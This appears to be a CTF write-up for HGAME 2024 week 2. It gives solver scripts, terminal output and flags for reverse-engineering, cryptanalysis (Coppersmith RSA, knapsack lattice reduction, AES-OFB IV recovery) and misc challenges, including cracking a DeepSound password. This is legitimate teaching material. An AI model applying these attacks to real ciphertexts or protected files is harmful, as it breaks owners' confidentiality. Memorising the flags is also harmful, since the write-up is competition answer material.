cipher = bytearray()
for char in plain:
self.i = (self.i + 1) % 256
self.j = (self.j + self.S[self.i]) % 256
self.S[self.i], self.S[self.j] = self.S[self.j], self.S[self.i]
cipher.append(char ^ self.S[(self.S[self.i] + self.S[self.j]) % 256])
return bytes(cipher)
def decrypt(self, cipher: bytes):
return self.encrypt(cipher)
check1 = RC4(CHECK1_KEY)
username = check1.decrypt(CHECK1_CIPHER)
success(f"Username: {username.decode('utf-8')}")
PS D:\Workspace\rev\hgame_2024\week_2> & d:/Workspace/pwnenv/Scripts/python.exe d:/Workspace/rev/hgame_2024/week_2/babyAndroid/sol.py
[+] Username: G>IkH<aHu5FE3GSV
PS D:\Workspace\rev\hgame_2024\week_2>
https://github.com/evilpan/jni_helper
(pwnenv) PS D:\Workspace\rev\hgame_2024\week_2\babyAndroid> python D:\dist\jni_helper-master\extract_jni.py .\attachment.1.apk
[10:33:08] Parsing .\attachment.1.apk with 32 workers ... extract_jni.py:257
Found 1 DEX files. extract_jni.py:259
[10:33:13] Parse classes.dex (8617964 bytes), found 6468 classes. extract_jni.py:287
Analyzing Dex... ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00 0:00:04
Aanlyzed 6468 classes, cost: 0:00:04.770941 extract_jni.py:295
Found 1 so files. extract_jni.py:300
Found 1 JNI symbols in lib/arm64-v8a/libbabyandroid.so. extract_jni.py:305
{
"dexInfo": {
"__COMMON__": [
{
"mangle": "JNI_OnLoad",
"ret": "jint",
"args": [
"JavaVM * vm",
"void * reserved"
]
},
{
"mangle": "JNI_OnUnload",
"ret": "void",
"args": [
"JavaVM * vm",
"void * reserved"
]
}
],
"com.feifei.babyandroid.MainActivity": [
{
"mangle": "Java_com_feifei_babyandroid_MainActivity_check2",
"ret": "jboolean",
"args": [
"JNIEnv * env",
"jobject this",
"jbyteArray a1",
"jbyteArray a2"
],
"name": "check2",
"sig": "([B[B)Z"
}
]
},
"soInfo": {
"lib/arm64-v8a/libbabyandroid.so": {
"JNI_OnLoad": 2548
}
}
}
(pwnenv) PS D:\Workspace\rev\hgame_2024\week_2\babyAndroid> python D:\dist\jni_helper-master\extract_jni.py -o native.json .\attachment.1.apk
[10:33:34] Parsing .\attachment.1.apk with 32 workers ... extract_jni.py:257
Found 1 DEX files. extract_jni.py:259
[10:33:38] Parse classes.dex (8617964 bytes), found 6468 classes. extract_jni.py:287
Analyzing Dex... ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00 0:00:04
Aanlyzed 6468 classes, cost: 0:00:04.688479 extract_jni.py:295
Found 1 so files. extract_jni.py:300
Found 1 JNI symbols in lib/arm64-v8a/libbabyandroid.so. extract_jni.py:305
(pwnenv) PS D:\Workspace\rev\hgame_2024\week_2\babyAndroid>
用 Findcrypt 可以发现 Check2 是某种模式的 AES,密钥就是用户名 b"G>IkH<aHu5FE3GSV"
。
dump 出来后进行解密。
hgame{df3972d1b09536096cc4dbc5c}
Crypto
midRSA (非预期)
题目描述:兔兔梦到自己变成了帕鲁被 crumbling 抓去打黑工,醒来后连夜偷走了部分 flag Hint1:题目存在较为严重的非预期,调整为 50 分,稍后会上线 revenge 版本,影响大家做题非常抱歉!
flag 太短了,这个 shr 没有丢失信息。
from Crypto.Util.number import *
from pwn import *
m0 = 13292147408567087351580732082961640130543313742210409432471625281702327748963274496942276607
success(long_to_bytes(m0 << 208).decode(errors="ignore"))
PS D:\Workspace\rev\hgame_2024\week_2> & d:/Workspace/pwnenv/Scripts/python.exe d:/Workspace/rev/hgame_2024/week_2/midRSA/sol.py
[+] hgame{0ther_cas3s_0f_c0ppr3smith}
PS D:\Workspace\rev\hgame_2024\week_2>
hgame{0ther_cas3s_0f_c0ppr3smith}
backpack (非预期)
题目描述:crumbling 的游戏已经玩到了中期,打算带着帕鲁搬家到新据点,你来帮他研究一下背包管理 Hint1:题目存在较为严重的非预期,调整为 50 分,稍后会上线 revenge 版本,影响大家做题非常抱歉!
xor 的 p 移位后只剩 12 位了。
from Crypto.Util.number import *
from pwn import *
enc = 871114172567853490297478570113449366988793760172844644007566824913350088148162949968812541218339
success(long_to_bytes(enc).decode(errors="ignore"))
PS D:\Workspace\rev\hgame_2024\week_2> & d:/Workspace/pwnenv/Scripts/python.exe d:/Workspace/rev/hgame_2024/week_2/backpack/sol.py
[+] hgame{M@ster_0f ba3kpack_m4nag3ment!}#
PS D:\Workspace\rev\hgame_2024\week_2>
hgame{M@ster_0f ba3kpack_m4nag3ment!}
midRSA revenge
题目描述:兔兔梦到自己变成了帕鲁被 crumbling 抓去打黑工,醒来后连夜偷走了部分 flag 说明:150 拆分为原题 +revenge 版本分数
Coppersmith’s attack。
https://github.com/ashutosh1206/Crypton/blob/master/RSA-encryption/Attack-Coppersmith/README.md
https://crypto.stackexchange.com/questions/54822/coppersmiths-method-implementation
from sage.all import *
def stereotyped(f, N, denom):
P.<x> = PolynomialRing(Zmod(N))
beta = 1
dd = f.degree()
epsilon = beta / denom
XX = ceil(N**((beta**2 / dd) - epsilon))
rt = f.small_roots(XX, beta, epsilon)
return rt
n = 27814334728135671995890378154778822687713875269624843122353458059697288888640572922486287556431241786461159513236128914176680497775619694684903498070577307810263677280294114135929708745988406963307279767028969515305895207028282193547356414827419008393701158467818535109517213088920890236300281646288761697842280633285355376389468360033584102258243058885174812018295460196515483819254913183079496947309574392848378504246991546781252139861876509894476420525317251695953355755164789878602945615879965709871975770823484418665634050103852564819575756950047691205355599004786541600213204423145854859214897431430282333052121
c = 456221314115867088638207203034494636244706611111621723577848729096069230067958132663018625661447131501758684502639383208332844681939698124459188571813527149772292464139530736717619741704945926075632064072125361516435631121845753186559297993355270779818057702973783391589851159114029310296551701456748698914231344835187917559305440269560613326893204748127999254902102919605370363889581136724164096879573173870280806620454087466970358998654736755257023225078147018537101
m0 = 9999900281003357773420310681169330823266532533803905637
m = m0 << 128
e = 5
P.<x> = PolynomialRing(Zmod(n))
f = (m + x)**e - c
roots = stereotyped(f, n, 100)
print(roots)
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_2/midRSA$ sage ./sol_revenge.sage
[64407713309761574567155109851720545149]
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_2/midRSA$
from Crypto.Util.number import *
from pwn import *
m0 = 9999900281003357773420310681169330823266532533803905637
m = 64407713309761574567155109851720545149
success(long_to_bytes(m0).decode(errors="ignore") + long_to_bytes(m).decode(errors="ignore"))
PS D:\Workspace\rev\hgame_2024\week_2> & d:/Workspace/pwnenv/Scripts/python.exe d:/Workspace/rev/hgame_2024/week_2/midRSA/sol2.py
[+] hgame{c0ppr3smith_St3re0typed_m3ssag3s}
PS D:\Workspace\rev\hgame_2024\week_2>
hgame{c0ppr3smith_St3re0typed_m3ssag3s}
backpack revenge
题目描述:crumbling 的游戏已经玩到了中期,打算带着帕鲁搬家到新据点,你来帮他研究一下背包管理 说明:原分数 150 已拆解成原题 +revenge 版本的分数
Knapsack Cryptosystem。
搜到两篇文章。第一篇是综述,第二篇是算法优化。
给定数据的密度满足要求,可以使用 CJLOSS 算法进行多项式时间求解。
#!/usr/bin/env sage
# sol2_1.sage
import math
import gmpy2
from sage.all import *
from sympy import nextprime
a = [
74763079510261699126345525979,
51725049470068950810478487507,
47190309269514609005045330671,
64955989640650139818348214927,
68559937238623623619114065917,
72311339170112185401496867001,
70817336064254781640273354039,
70538108826539785774361605309,
43782530942481865621293381023,
58234328186578036291057066237,
68808271265478858570126916949,
61660200470938153836045483887,
63270726981851544620359231307,
42904776486697691669639929229,
41545637201787531637427603339,
74012839055649891397172870891,
56943794795641260674953676827,
51737391902187759188078687453,
49264368999561659986182883907,
60044221237387104054597861973,
63847046350260520761043687817,
62128146699582180779013983561,
65109313423212852647930299981,
66825635869831731092684039351,
67763265147791272083780752327,
61167844083999179669702601647,
55116015927868756859007961943,
52344488518055672082280377551,
52375877891942312320031803919,
69659035941564119291640404791,
52563282085178646767814382889,
56810627312286420494109192029,
49755877799006889063882566549,
43858901672451756754474845193,
67923743615154983291145624523,
51689455514728547423995162637,
67480131151707155672527583321,
59396212248330580072184648071,
63410528875220489799475249207,
48011409288550880229280578149,
62561969260391132956818285937,
44826158664283779410330615971,
70446218759976239947751162051,
56509847379836600033501942537,
50154287971179831355068443153,
49060507116095861174971467149,
54236848294299624632160521071,
64186626428974976108467196869,
]
bag = 1202548196826013899006527314947
def enc(p: int, a: list[int]) -> int:
bag = 0
for i in a:
temp = p % 2
bag += temp * i
p = p >> 1
return bag
d = len(a) / math.log2(max(a))
print(f"d = {d}")
assert d < 0.9408
n_bits = len(a)
N = nextprime(gmpy2.iroot(n_bits, 2)[0] // 2)
L = Matrix(QQ, n_bits + 1, n_bits + 1)
for i in range(n_bits):
L[i, i] = 1
L[i, n_bits] = a[i] * N
L[n_bits, i] = 1 / 2
L[n_bits, n_bits] = bag * N
res = L.LLL()
for i in range(0, n_bits + 1):
M = res.row(i).list()[:-1]
if all(m in (1 / 2, -1 / 2) for m in M):
mm = "".join(map(lambda x: "1" if x == -1 / 2 else "0", M))
break
else:
print("Not solvable")
exit(1)
flag = mm[::-1]
flag_int = int(flag, 2)
assert enc(flag_int, a) == bag
print(f"flag_int = {flag_int}")
#!/usr/bin/env python3
# sol2_2.py
import hashlib
from pwn import *
flag_int = input("flag_int = ")
success(f"flag: hgame{{{hashlib.sha256(flag_int.encode()).hexdigest()}}}")
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_2/backpack$ sage ./sol2_1.sage
d = 0.5004362519031289
flag_int = 268475474669857
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_2/backpack$ python ./sol2_2.py
flag_int = 268475474669857
[+] flag: hgame{04b1d0b0fb805a70cda94348ec5a33f900d4fd5e9c45e765161c434fa0a49991}
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_2/backpack$
hgame{04b1d0b0fb805a70cda94348ec5a33f900d4fd5e9c45e765161c434fa0a49991}
babyRSA
题目给了 gift,$\mathrm{gift}\equiv \left(e + 114514 + p^k\right)^{0\mathrm{x}10001} \mod p$底数的第三项可以直接丢掉,让我们得到 e。由于$n=p^4 \cdot q$,所以$\lambda(n)=\mathrm{lcm}\left(\lambda(p^4),\lambda(q)\right)=\mathrm{lcm}\left((p-1)p^3,q-1\right)$。
可惜的是$\gcd\left(e,\lambda(n)\right) = e \neq 0$,所以没法直接求逆元。
直接实现一个这里面的算法可解。
from math import gcd, lcm
from Crypto.Util.number import *
from pwn import *
from tqdm import tqdm
p = 14213355454944773291
q = 61843562051620700386348551175371930486064978441159200765618339743764001033297
c = 105002138722466946495936638656038214000043475751639025085255113965088749272461906892586616250264922348192496597986452786281151156436229574065193965422841
gift = 9751789326354522940
e = -1
for ex in tqdm(range(1, 1000000)):
if pow(ex, 0x10001, p) == gift:
e = ex - 114514
break
assert pow(e + 114514 + p ** getPrime(16), 0x10001, p) == gift
success(f"e = {e}")
n = p**4 * q
info(f"n = {n}")
lam_n = lcm(p**3 * (p - 1), q - 1)
info(f"gcd(e, lambda(n)) = {gcd(e, lam_n)}")
phi = lam_n // e
g = 1
ge = 1
while ge == 1:
g = g + 1
ge = pow(g, phi, n)
info(f"ge = {ge}")
d = inverse(e, phi)
info(f"d = {d}")
a = pow(c, d, n)
l = 1 % n
results: list[bytes] = []
for i in range(0, e):
x = (a * l) % n
results.append(long_to_bytes(x))
l = (l * ge) % n
flag = b""
for i, r in tqdm(enumerate(results)):
if r.startswith(b"hgame"):
flag = r
break
else:
error("Flag not found")
exit(1)
success(f"{flag}")
PS D:\Workspace\rev\hgame_2024\week_2> & d:/Workspace/pwnenv/Scripts/python.exe d:/Workspace/rev/hgame_2024/week_2/babyRSA/sol.py
19%|██▋ | 188074/999999 [00:00<00:01, 722439.40it/s]
[+] e = 73561
[*] n = 2523951265609053753877704763332232130251354957806920422624728923457116929548686356900491870427050872201150209556443712014800809570315060062302624905430017
[*] gcd(e, lambda(n)) = 73561
[*] ge = 540596929952313637296358452649918767934820433419368872276089942320938356047681129548339594245166317478978890118045421507573873592741383986823179405155912
[*] d = 3118312309964509553474229947630876368235010556775412179069521055424098521878619971761642349351001949710213369666007801841326486248656681771608010361
42626it [00:00, 5328159.81it/s]
[+] b'hgame{Ad1eman_Mand3r_Mi11er_M3th0d}'
PS D:\Workspace\rev\hgame_2024\week_2>
hgame{Ad1eman_Mand3r_Mi11er_M3th0d}
奇怪的图片 plus
另一些奇怪的图片
首先是 ECB 模式的 statistical pattern leak。不难构造题目需要的图片。
import itertools as it
import numpy as np
from PIL import Image
from pwn import *
TARGET_BLOCK_SIZE = 16
SCALE_FACTOR = 3 * TARGET_BLOCK_SIZE
target_image = Image.open("./奇怪的图片plus/target.png")
chunks_black = [
(x, y)
for x, y in it.product(range(target_image.size[0]), range(target_image.size[1]))
if target_image.getpixel((x, y)) == (0, 0, 0)
]
new_width, new_height = (
SCALE_FACTOR * target_image.size[0],
SCALE_FACTOR * target_image.size[1],
)
info(f"New size: W {new_width} H {new_height}")
info(f"# Ident chunks: {len(chunks_black)}")
img_arr_1 = (np.random.rand(new_width, new_height, 3) * 256).astype(np.uint8)
img_arr_2 = (np.random.rand(new_width, new_height, 3) * 256).astype(np.uint8)
mask_ident = np.zeros_like(img_arr_1).astype(np.bool_)
for x, y in chunks_black:
for i in range(x * SCALE_FACTOR, (x + 1) * SCALE_FACTOR):
for j in range(y * SCALE_FACTOR, (y + 1) * SCALE_FACTOR):
mask_ident[i, j, :] = True
img_arr_1[mask_ident == True] = 0
img_arr_2[mask_ident == True] = 0
img_1 = (
Image.fromarray(img_arr_1, mode="RGB")
.transpose(Image.Transpose.ROTATE_90)
.transpose(Image.Transpose.FLIP_TOP_BOTTOM)
)
img_2 = (
Image.fromarray(img_arr_2, mode="RGB")
.transpose(Image.Transpose.ROTATE_90)
.transpose(Image.Transpose.FLIP_TOP_BOTTOM)
)
img_1.save("./奇怪的图片plus/submit_1.png")
img_2.save("./奇怪的图片plus/submit_2.png")
PS D:\Workspace\rev\hgame_2024\week_2\奇怪的图片plus> & d:/Workspace/pwnenv/Scripts/python.exe d:/Workspace/rev/hgame_2024/week_2/奇怪的图片plus/client.py
input uri: ws://106.14.57.14:31489
type 'help' to get help
Msg from server: Pls send two images that meet the following conditions
Msg from server: The black pixels in 'xor_images(image_1, image_2)' should match those in 'target'
Msg from server: Note: The server has scaling function during validation! XD
help
send_img: send_img <path_to_img_1> <path_to_img_2>
check: check
help: help
exit: exit
send_img ./submit_1.png ./submit_2.png
Msg from server: Image_1 received
Msg from server: Image_2 received
check
Msg from server: Here is your gift: 8693346e81fa05d8817fd2550455cdf6
exit
Msg from server:
socket is already closed.
得到 Key:8693346e81fa05d8817fd2550455cdf6
。
接下来是已知密文和密钥,计算 AES-OFB 模式的 IV。观察加密代码:
def draw_text(image, width, height, token):
font_size = 20
font = ImageFont.truetype("arial.ttf", font_size)
text_color = (255, 255, 255)
x = 0
y = (height // 2) - 10
draw = ImageDraw.Draw(image)
draw.text((x, y), token, font=font, fill=text_color)
pixels = image.load()
for x in range(width):
for y in range(height):
if pixels[x, y] != (0, 0, 0):
pixels[x, y] = (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))
return image
flag = "hgame{fake_flag}"
flag_image = Image.new("RGB", (200, 150), "black")
flag_image = draw_text(flag_image, 200, 150, flag[6:-1])
key = os.urandom(16) # gift
iv = os.urandom(16)
F = AES.new(key=key, mode=AES.MODE_OFB, iv=iv)
m = pad(image_to_bytes(flag_image), F.block_size)
c = F.encrypt(m)
encrypted_image = bytes_to_image(c, 200, 150)
encrypted_image.save("encrypted_flag.png")
文字区域是彩色的,其他区域是(0, 0, 0)。我们不妨大胆假设明文的第一个块中全是 0。由于 AES-OFB 密钥流的第一个块数值上等于密文的第一个块,我们可以方便地使用 ECB 模式解密一次得到 IV。
import itertools as it
import struct
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
from PIL import Image
from pwn import *
def image_to_bytes(image):
width, height = image.size
pixel_bytes = []
for y in range(height):
for x in range(width):
pixel = image.getpixel((x, y))
pixel_bytes.extend(struct.pack("BBB", *pixel))
image_bytes = bytes(pixel_bytes)
return image_bytes
def bytes_to_image(image_bytes, width, height):
pixel_bytes = list(image_bytes)
reconstructed_image = Image.new("RGB", (width, height))
for y in range(height):
for x in range(width):
start = (y * width + x) * 3
pixel = struct.unpack("BBB", bytes(pixel_bytes[start : start + 3]))
reconstructed_image.putpixel((x, y), pixel)
return reconstructed_image
flag_image = Image.open("./奇怪的图片plus/encrypted_flag.png")
key = long_to_bytes(int("8693346e81fa05d8817fd2550455cdf6", base=16))
c = image_to_bytes(flag_image)
c0 = c[0 : AES.block_size]
m0 = bytes(it.repeat(0, len(c0)))
k0 = bytes((ci ^ mi for ci, mi in zip(c0, m0)))
info(f"c0: {c0}")
info(f"m0: {m0}")
info(f"k0: {k0}")
Fprime = AES.new(key=key, mode=AES.MODE_ECB)
iv = Fprime.decrypt(k0)
success(f"iv: {iv}")
F = AES.new(key=key, mode=AES.MODE_OFB, iv=iv)
c = F.decrypt(c)
encrypted_image = bytes_to_image(c, *flag_image.size)
encrypted_image.save("./奇怪的图片plus/flag.png")
PS D:\Workspace\rev\hgame_2024\week_2> & d:/Workspace/pwnenv/Scripts/python.exe d:/Workspace/rev/hgame_2024/week_2/奇怪的图片plus/sol_decrypt.py
[*] c0: b'm/\x07$\x9c\x19\x1f\xf7\x17ey\xd4\\\xe5\xba\x0f'
[*] m0: b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
[*] k0: b'm/\x07$\x9c\x19\x1f\xf7\x17ey\xd4\\\xe5\xba\x0f'
[+] iv: b'\xee M\xe4\x05\n\xd4A\xefw\x8b-!V\x19\x8f'
PS D:\Workspace\rev\hgame_2024\week_2>
hgame{1ad4_80cc_1fb2_be7c}
Misc
ek1ng_want_girlfriend
An introducation to Wireshark and also ek1ng.
简单 Wireshark 使用。
最开始几个包中就有一个 http 请求。直接 follow HTTP stream,然后把包体导出来,发现是个 JPG 文件。
OCR 能得到结果。
hgame{ek1ng_want_girlfriend_qq_761042182}
龙之舞
新年快要到了,来看看龙年的龙之舞吧(~ ̄▽ ̄)~ 请注意,拿到正确的二维码后解码就是 flag 但是一开始未必正确
https://ryan.govost.es/2018/03/09/deepsound.html
https://github.com/openwall/john/blob/bleeding-jumbo/run/deepsound2john.py
DeepSound 密钥破解。
KEY: 5H8w1nlWCX3hQLG
拼接后的第一个二维码扫不出来。
考虑格式信息被破坏了。使用 https://merri.cx/qrazybox/尝试恢复。
右边是扫得出来的。
hgame{drag0n_1s_d4nc1ng}
ezWord
通过破译图片的水印来解开文档里的秘密吧!
解包 Word 文件发现一些附件:一个加密的 ZIP,两张初音的图片(原图来自 pixiv https://www.pixiv.net/en/artworks/100191209)和一份说明。
考虑 PNG 隐写。
https://github.com/chishaxie/BlindWaterMark
ZIP 压缩文件密码为 T1hi3sI4sKey
。解开后得到另一个文件。
https://forums.anandtech.com/threads/not-spam.712117/
https://www.spammimic.com/decode.shtml
解码后得到很多 utf-8 编码的 CJK 字符。
观察到其前五项的 Unicode codepoint 相对差值与 b"hgame"
类似,考虑加法解密。编写脚本计算偏移并解码。
PS D:\Workspace\rev\hgame_2024\week_2> python
Python 3.11.6 (tags/v3.11.6:8b6ee5b, Oct 2 2023, 14:57:12) [MSC v.1935 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> arr = [31857,31856,31850,31862,31854,31876,31801,31860,31848,31874,31864,31870,31848,31868,31801,31861,31871,31854,31848,31850,31861,31802,31848,31869,31857,31804,31848,31868,31854,31852,31867,31804,31869,31878]
>>> offset = ord("h") - arr[0]
>>> print("".join(map(lambda x: chr(x + offset), arr)))
hgame{0k_you_s0lve_al1_th3_secr3t}
>>> exit()
PS D:\Workspace\rev\hgame_2024\week_2>
hgame{0k_you_s0lve_al1_th3_secr3t}
我要成为华容道高手
华容道是古老的中国民间益智游戏,以其变化多端、百玩不厌的特点与魔方、独立钻石一起被国外智力专家并称为“智力游戏界的三个不可思议”。它与七巧板、九连环等中国传统益智玩具还有个代名词叫作“中国的难题”。 通过移动各个棋子,帮助曹操从初始位置移到棋盘最下方中部,从出口逃走。不允许跨越棋子,还要设法用最少的步数把曹操移到出口。曹操逃出华容道的最大障碍是关羽,关羽立马华容道,一夫当关,万夫莫开。关羽与曹操当然是解开这一游戏的关键。四个刘备军兵是最灵活的,也最容易对付,如何发挥他们的作用也要充分考虑周全。 柏喵喵本人认为华容道对于初学者的最大的困境在于,人类容易在反复的滑动中陷入一个死循环,迷失循环的出口。但是计算机并不会,只要你给他初始状态和状态转移函数,再对走过的状态做一个标记,它一定能完完整整地遍历完所有情况。 现在,由你,用你的代码,终结这个游戏
简单 BFS。但是不用手写,因为有人写了库。
求解器:
const process = require("process");
const Klotski = require("klotski");
const ID_TARGET = 5;
const ID_BLOCK = 2;
const ID_VERT_I = 3;
const ID_HORIZ_I = 4;
const ID_SPACE = 0;
const ID_BODY_ = 1;
/**
* @param {string} layout
* @returns {Array<{shape: [number, number], position: [number, number]}>}
*/
function layoutToBlocks(layout) {
/**
* @type {Array<{shape: [number, number], position: [number, number]}>}
*/
const blocks = [];
const target_idx = layout.indexOf(ID_TARGET.toString());
blocks.push({
shape: [2, 2],
position: [Math.floor(target_idx / 4), target_idx % 4],
});
for (let i = 0; i < layout.length; i++) {
const position = [Math.floor(i / 4), i % 4];
switch (layout[i]) {
case ID_VERT_I.toString():
shape = [2, 1];
break;
case ID_HORIZ_I.toString():
shape = [1, 2];
break;
case ID_BLOCK.toString():
shape = [1, 1];
break;
default:
continue;
}
blocks.push({ shape, position });
}
return blocks;
}
const klotski = new Klotski();
const state = layoutToBlocks(process.argv[2]);
const game = {
blocks: state,
boardSize: [5, 4],
escapePoint: [3, 1],
};
const sol = klotski.solve(game);
const steps = [];
for (let i = 0; i < sol.length; i++) {
const block = state[sol[i].blockIdx];
const direction = sol[i].dirIdx;
const origPos = block.position[0] * 4 + block.position[1];
let mappedDir;
switch (direction) {
case 0:
block.position[0]++;
mappedDir = 3;
break;
case 1:
block.position[1]++;
mappedDir = 2;
break;
case 2:
block.position[0]--;
mappedDir = 1;
break;
case 3:
block.position[1]--;
mappedDir = 4;
break;
default:
throw new Error(`Invalid direction: ${direction}`);
}
steps.push({
position: origPos,
direction: mappedDir,
});
}
process.stdout.write(JSON.stringify(steps));
Driver:
import json
import subprocess as sp
import urllib.parse as up
import requests as req
from pwn import *
BASE_URL = "http://106.14.57.14:30016"
def invoke_new_game() -> tuple[int, str]:
url = up.urljoin(BASE_URL, "/api/newgame")
resp = req.get(url)
obj = json.loads(resp.text)
return obj["gameId"], obj["layout"]
def invoke_submit(game_id: int, steps: str) -> tuple[str, dict]:
url = up.urljoin(BASE_URL, f"/api/submit/{game_id}")
resp = req.post(url, data=steps)
obj = json.loads(resp.text)
return obj["status"], obj
game_id, layout = invoke_new_game()
info(f"game_id: {game_id}")
while True:
info(f"layout: {layout}")
steps = sp.run(
("pwsh", "D:/dist/npm/yarn.ps1", "node", "index.js", layout),
check=True,
capture_output=True,
).stdout.decode("ascii")
info(f"steps: {steps[0:32]} ... {steps[-32:]}")
status, obj = invoke_submit(game_id, steps)
status = status.strip().lower()
info(f"status: {status}")
if status == "win":
success(f"flag: {obj['flag']}")
break
elif status == "next":
layout = obj["game_stage"]["layout"]
else:
info(f"obj: {obj}")
PS D:\Workspace\rev\hgame_2024\week_2\hgame_klotski> & d:/Workspace/pwnenv/Scripts/python.exe d:/Workspace/rev/hgame_2024/week_2/hgame_klotski/sol.py
[*] game_id: 3650162269
[*] layout: 35121112324110332011
[*] steps: [{"position":9,"direction":3},{" ... 4},{"position":9,"direction":3}]
[*] status: next
[*] layout: 22235131111341010241
[*] steps: [{"position":6,"direction":3},{" ... },{"position":14,"direction":4}]
[*] status: next
[*] layout: 25123110133321110412
[*] steps: [{"position":3,"direction":3},{" ... },{"position":14,"direction":4}]
[*] status: next
[*] layout: 51231121414141410220
[*] steps: [{"position":17,"direction":4},{ ... },{"position":14,"direction":4}]
[*] status: next
[*] layout: 35101113233101124122
[*] steps: [{"position":7,"direction":1},{" ... },{"position":14,"direction":4}]
[*] status: next
[*] layout: 35101113241122222202
[*] steps: [{"position":7,"direction":1},{" ... 4},{"position":9,"direction":3}]
[*] status: next
[*] layout: 25120113333111120241
[*] steps: [{"position":0,"direction":3},{" ... },{"position":12,"direction":2}]
[*] status: next
[*] layout: 51411132031231221410
[*] steps: [{"position":17,"direction":2},{ ... },{"position":12,"direction":2}]
[*] status: next
[*] layout: 25102112041233331111
[*] steps: [{"position":9,"direction":4},{" ... 2},{"position":9,"direction":3}]
[*] status: next
[*] layout: 05132111202241414141
[*] steps: [{"position":4,"direction":1},{" ... },{"position":14,"direction":4}]
[*] status: win
[+] flag: hgame{0c6ffa92a932519d38aae551a977acda05cd8933}
PS D:\Workspace\rev\hgame_2024\week_2\hgame_klotski>
hgame{0c6ffa92a932519d38aae551a977acda05cd8933}